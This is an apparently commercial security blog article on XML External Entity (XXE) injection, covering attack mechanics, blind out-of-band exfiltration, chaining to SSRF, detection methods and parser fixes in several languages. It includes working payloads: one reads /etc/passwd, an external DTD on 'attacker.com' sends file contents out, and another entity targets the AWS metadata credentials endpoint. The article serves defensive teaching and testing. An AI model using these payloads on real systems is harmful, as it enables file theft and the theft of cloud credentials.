Last updated: April 26, 2026
XML External Entity (XXE) injection is the attack where malicious XML input causes the parser to fetch external resources. Disclosed in 2002, written about exhaustively, fixed in many libraries by default — and still found in Indian enterprise applications in 2026, particularly in document-processing services, SOAP APIs, and legacy SAML implementations. This article covers modern XXE: the parser configurations that matter, blind XXE via out-of-band channels, XXE-to-SSRF chains, and the architectural fix.
The mechanism
XML supports entities — placeholders like &name; that expand to predefined or external content. External entities can reference URLs:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
If the parser allows external entities and the application echoes parsed content back, the attacker reads /etc/passwd. If the parser supports parameter entities, attackers can chain to read more complex data or trigger network requests.
Where XXE lives
- Document upload / parsing — DOCX, XLSX, ODT, SVG are XML inside ZIP. Apps that parse them without disabling external entities are vulnerable.
- SOAP APIs — XML-native; default Java/PHP/.NET parsers historically had XXE enabled.
- SAML — SAML responses are XML; attacker controls part of the input.
- RSS / Atom feed processors — parse external XML.
- SVG image processors — SVG is XML; image upload + processing can trigger XXE.
- OOXML / EPUB / RDF / OPML — any XML format the application parses.
Blind XXE — out-of-band detection
If the application doesn’t echo parsed content, use external DTD with parameter entities to exfiltrate data via DNS or HTTP:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
%ext;
]>
<foo>test</foo>
And on attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
The application fetches the DTD, expands the entity, and ends up making an HTTP request to attacker.com with /etc/passwd contents in the URL parameter. Burp Collaborator is ideal for capturing these.
XXE to SSRF chain
XXE supports HTTP URLs in SYSTEM:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
From XXE, you reach AWS metadata, internal services, anything an SSRF could reach. Often the only way into a backend in environments where SSRF in normal HTTP requests is filtered.
Detection — what works
- WAF rules for XML containing
<!ENTITYor<!DOCTYPEin unexpected fields. Useful but bypass-prone with encoding. - XML parser logs — most parsers log when they fetch external resources. Audit-log every external-entity fetch attempt.
- Egress filtering — XML parser servers shouldn’t make outbound HTTP/DNS calls. Block at the network layer; alert on attempts.
- Burp Scanner / OWASP ZAP — both have XXE detection in active-scan mode.
The fix
Disable external entities and DTDs in your XML parser. The exact configuration depends on language:
# Python (lxml):
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
# Java (DocumentBuilderFactory):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
# PHP (libxml):
libxml_disable_entity_loader(true); # PHP < 8.0
# PHP 8.0+: external loading is disabled by default
# .NET XmlReader:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
OWASP XXE Prevention Cheat Sheet has the comprehensive list per library / language.
How to find your next XXE
- Every XML-accepting endpoint. Test with both inline DTD and external DTD references via Burp Collaborator.
- Document upload endpoints — DOCX/XLSX/SVG. Embed XXE in the inner XML and upload.
- SOAP endpoints — even modern SOAP services often have XXE-prone parsers.
- Test SAML SP — though most modern SAML libraries are patched, custom implementations sometimes not.
Compliance angle
- OWASP Top 10 A05:2021 (Security Misconfiguration) — XXE is a subset.
- DPDP §8(5) — XXE allowing file system access on servers processing personal data is reasonable-security failure.
The takeaway
XXE is a 20-year-old bug class that should be dead. It persists in legacy XML parsers, custom SAML implementations, and document-upload features. The fix is one line of parser configuration. Audit every XML parser your application uses; the configuration is the bug.
Get a VAPT scoping call
Senior practitioner-led VAPT — not a checklist run by juniors. CVSS-scored findings, free retest, attestation letter. India's SMBs and SaaS teams.